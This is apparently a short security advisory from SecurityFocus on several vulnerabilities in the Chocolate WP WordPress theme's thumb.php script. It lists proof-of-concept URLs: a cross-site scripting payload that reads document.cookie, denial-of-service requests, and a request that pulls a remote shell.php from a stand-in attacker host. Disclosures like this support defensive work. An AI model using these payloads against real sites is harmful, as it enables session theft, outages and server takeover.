WordPress Theme Chocolate WP - Multiple Vulnerabilities

source: https://www.securityfocus.com/bid/57541/info

The Chocolate WP Theme for WordPress is prone to multiple security vulnerabilities.

An attacker may leverage these issues to cause denial-of-service conditions, upload arbitrary files to the affected computer, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg
http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site/big_file&h=1&w=1
http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/big_file&h=1&w=1
http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/shell.php